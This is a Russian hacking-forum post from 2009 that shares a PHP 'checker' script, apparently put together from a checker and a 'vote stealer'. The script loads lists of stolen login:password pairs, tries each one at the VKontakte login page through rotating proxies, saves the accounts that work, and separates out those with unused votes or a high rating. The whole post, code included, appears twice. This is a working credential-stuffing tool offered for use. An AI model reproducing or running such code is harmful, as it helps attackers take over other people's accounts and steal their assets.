svesve
23.09.2009, 17:45
Набросал чекер на пхп
скрипт основан на базе скриптов Isis'a и -=Medved=-, грубо говоря собраны в 1 скрипт.
работает с прокси, кому надо тот может прикрутить антикапчу.
З.Ы. критика приветствуется. в скрипте могут быть и ошибки т.к. пока еще учимся ))))
<?php
//Based on Isis checker and -=MeDved=- vote stealer
// special 4 anti4at from #svesve icq 8000909#
// for educational purpose only
set_time_limit(0);
error_reporting(1);
$aks = file("accs.txt"); // AC file, login:pass
$pfile = file('proxy.txt'); // proxy ip:port
$filevalid = 'valid.txt'; //CHMOD 777
$filevotes = 'votes.txt'; //CHMOD 777
$filerates = 'rates.txt'; //CHMOD 777
$rate = '0';
$friends = '0';
$votes = '0';
function curl($url,$post,$proxy=false)
{
$cfile = 'cookies.txt';
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
curl_setopt($ch, CURLOPT_COOKIEJAR, $cfile);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cfile);
if($proxy){
curl_setopt ($ch , CURLOPT_PROXY, $proxy);
}
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_POST, 1);
$result = curl_exec($ch);
curl_close($ch);
return $result;
};
function go_in($email,$pass){
$result = curl("http://vkontakte.ru/login.php","email=$email&pass=$pass");
return $result;
}
echo 'Настройки:<br/>
<form method="post">
<input type="checkbox" name="rating" checked="checked"/>Сохранить пользователей с рейтингом > 100% в отдельный файл<br/>
<input type="checkbox" name="vote" checked="checked"/>Сохранить пользователей с неисп.голосами в отдельный файл<br/>
<input type="checkbox" name="proxy" checked="checked"/>Использовать прокси<br/>
<input class="ncc" type="submit" name="start" value="Старт"/>
</form>';
if(isset($_POST['rating'])) $rating = true; else $rating = false;
if(isset($_POST['vote'])) $vote = true; else $vote = false;
if(isset($_POST['proxy'])) $use_proxy = true; else $use_proxy = false;
echo "<style>body{background-color:#2B2F34;color:#C1C1C7;}input{color:#cccccc;b order:1px solid #404040;background-color:#221;}red{color:#FF0000}a {text-decoration:none;color:#000;}
td {border:1px solid black;}
.ncc {background:#36638E none repeat scroll 0 0;color:#FFFFFF;display:block;padding:3px 8px;}</style> ";
if(isset($_POST['start'])){
$a = $b = 0;
echo '<table><tr><td>Email</td><td>Password</td><td>Id</td>';
echo '<td>Rating</td>';
echo '<td>Friends</td>';
echo '<td>Votes</td>';
echo '</tr>';
foreach($aks as $k => $v){
$ak = explode(":", trim($v));
if($use_proxy){
$proxy = $pfile[$a];
$rcont = go_in($ak['0'],$ak['1'],$proxy);
}else{
$rcont = go_in($ak['0'],$ak['1']);
}
if($b > 2){
$a++;
if($a > count($pfile)) $a = 0;
}
if(preg_match('#href="\/id([0-9]+)" class="hasedit"#', $rcont, $ids)){
$id=$ids[1];
$return = '<td>'.$ak['0'].'</td><td>'.$ak['1'].'</td><td>'.$id.'</td>';
if(preg_match('#<div id="percentGold">(.*?)</div>#', $rcont, $rat))
{
$rate = $rat[1];
$return .= '<td style="background-color:#e0d7a3;">'.$rate.'</td>';
if($rating){
$fs = fopen($filerates, 'a');
fwrite($fs, $ak['0'].':'.$ak['1']."\r\n");
fclose($fs);
}
}
else
if(preg_match('#<div id="percent">([0-9]+)%</div>#', $rcont, $rat))
{
$rate = $rat[1];
$return .= '<td>'.$rate.'</td>';
}
$friends = (preg_match('#<h2>Друзья <span>\(([0-9]+)\)</span></h2>#', $rcont, $fri)) ? $fri[1] : '0' ;
$return .= '<td>'.$friends.'</td>';
$votes = (preg_match('#У Вас <b>([0-9]+)</b> неисп#', $rcont, $vot)) ? $vot[1] : '0' ;
$return .= '<td>'.$votes.'</td>';
if($vote and $votes>0){
$fr = fopen($filevotes, 'a');
fwrite($fr, $ak['0'].':'.$ak['1']."\r\n");
fclose($fr);
}
// пишем валид в файл
$fd = fopen($filevalid, 'a');
fwrite($fd, $ak['0'].':'.$ak['1']."\r\n");
fclose($fd);
echo $return.'</tr>';
}
else{
echo '<td>'.$ak['0'].'</td><td>'.$ak['1'].'</td><td>NON VALID</td><td> </td><td> </td><td> </td>';
}
$b++;
flush();
@ob_flush();
}
}
?>
скрипт основан на базе скриптов Isis'a и -=Medved=-, грубо говоря собраны в 1 скрипт.
работает с прокси, кому надо тот может прикрутить антикапчу.
З.Ы. критика приветствуется. в скрипте могут быть и ошибки т.к. пока еще учимся ))))
<?php
//Based on Isis checker and -=MeDved=- vote stealer
// special 4 anti4at from #svesve icq 8000909#
// for educational purpose only
set_time_limit(0);
error_reporting(1);
$aks = file("accs.txt"); // AC file, login:pass
$pfile = file('proxy.txt'); // proxy ip:port
$filevalid = 'valid.txt'; //CHMOD 777
$filevotes = 'votes.txt'; //CHMOD 777
$filerates = 'rates.txt'; //CHMOD 777
$rate = '0';
$friends = '0';
$votes = '0';
function curl($url,$post,$proxy=false)
{
$cfile = 'cookies.txt';
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
curl_setopt($ch, CURLOPT_COOKIEJAR, $cfile);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cfile);
if($proxy){
curl_setopt ($ch , CURLOPT_PROXY, $proxy);
}
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_POST, 1);
$result = curl_exec($ch);
curl_close($ch);
return $result;
};
function go_in($email,$pass){
$result = curl("http://vkontakte.ru/login.php","email=$email&pass=$pass");
return $result;
}
echo 'Настройки:<br/>
<form method="post">
<input type="checkbox" name="rating" checked="checked"/>Сохранить пользователей с рейтингом > 100% в отдельный файл<br/>
<input type="checkbox" name="vote" checked="checked"/>Сохранить пользователей с неисп.голосами в отдельный файл<br/>
<input type="checkbox" name="proxy" checked="checked"/>Использовать прокси<br/>
<input class="ncc" type="submit" name="start" value="Старт"/>
</form>';
if(isset($_POST['rating'])) $rating = true; else $rating = false;
if(isset($_POST['vote'])) $vote = true; else $vote = false;
if(isset($_POST['proxy'])) $use_proxy = true; else $use_proxy = false;
echo "<style>body{background-color:#2B2F34;color:#C1C1C7;}input{color:#cccccc;b order:1px solid #404040;background-color:#221;}red{color:#FF0000}a {text-decoration:none;color:#000;}
td {border:1px solid black;}
.ncc {background:#36638E none repeat scroll 0 0;color:#FFFFFF;display:block;padding:3px 8px;}</style> ";
if(isset($_POST['start'])){
$a = $b = 0;
echo '<table><tr><td>Email</td><td>Password</td><td>Id</td>';
echo '<td>Rating</td>';
echo '<td>Friends</td>';
echo '<td>Votes</td>';
echo '</tr>';
foreach($aks as $k => $v){
$ak = explode(":", trim($v));
if($use_proxy){
$proxy = $pfile[$a];
$rcont = go_in($ak['0'],$ak['1'],$proxy);
}else{
$rcont = go_in($ak['0'],$ak['1']);
}
if($b > 2){
$a++;
if($a > count($pfile)) $a = 0;
}
if(preg_match('#href="\/id([0-9]+)" class="hasedit"#', $rcont, $ids)){
$id=$ids[1];
$return = '<td>'.$ak['0'].'</td><td>'.$ak['1'].'</td><td>'.$id.'</td>';
if(preg_match('#<div id="percentGold">(.*?)</div>#', $rcont, $rat))
{
$rate = $rat[1];
$return .= '<td style="background-color:#e0d7a3;">'.$rate.'</td>';
if($rating){
$fs = fopen($filerates, 'a');
fwrite($fs, $ak['0'].':'.$ak['1']."\r\n");
fclose($fs);
}
}
else
if(preg_match('#<div id="percent">([0-9]+)%</div>#', $rcont, $rat))
{
$rate = $rat[1];
$return .= '<td>'.$rate.'</td>';
}
$friends = (preg_match('#<h2>Друзья <span>\(([0-9]+)\)</span></h2>#', $rcont, $fri)) ? $fri[1] : '0' ;
$return .= '<td>'.$friends.'</td>';
$votes = (preg_match('#У Вас <b>([0-9]+)</b> неисп#', $rcont, $vot)) ? $vot[1] : '0' ;
$return .= '<td>'.$votes.'</td>';
if($vote and $votes>0){
$fr = fopen($filevotes, 'a');
fwrite($fr, $ak['0'].':'.$ak['1']."\r\n");
fclose($fr);
}
// пишем валид в файл
$fd = fopen($filevalid, 'a');
fwrite($fd, $ak['0'].':'.$ak['1']."\r\n");
fclose($fd);
echo $return.'</tr>';
}
else{
echo '<td>'.$ak['0'].'</td><td>'.$ak['1'].'</td><td>NON VALID</td><td> </td><td> </td><td> </td>';
}
$b++;
flush();
@ob_flush();
}
}
?>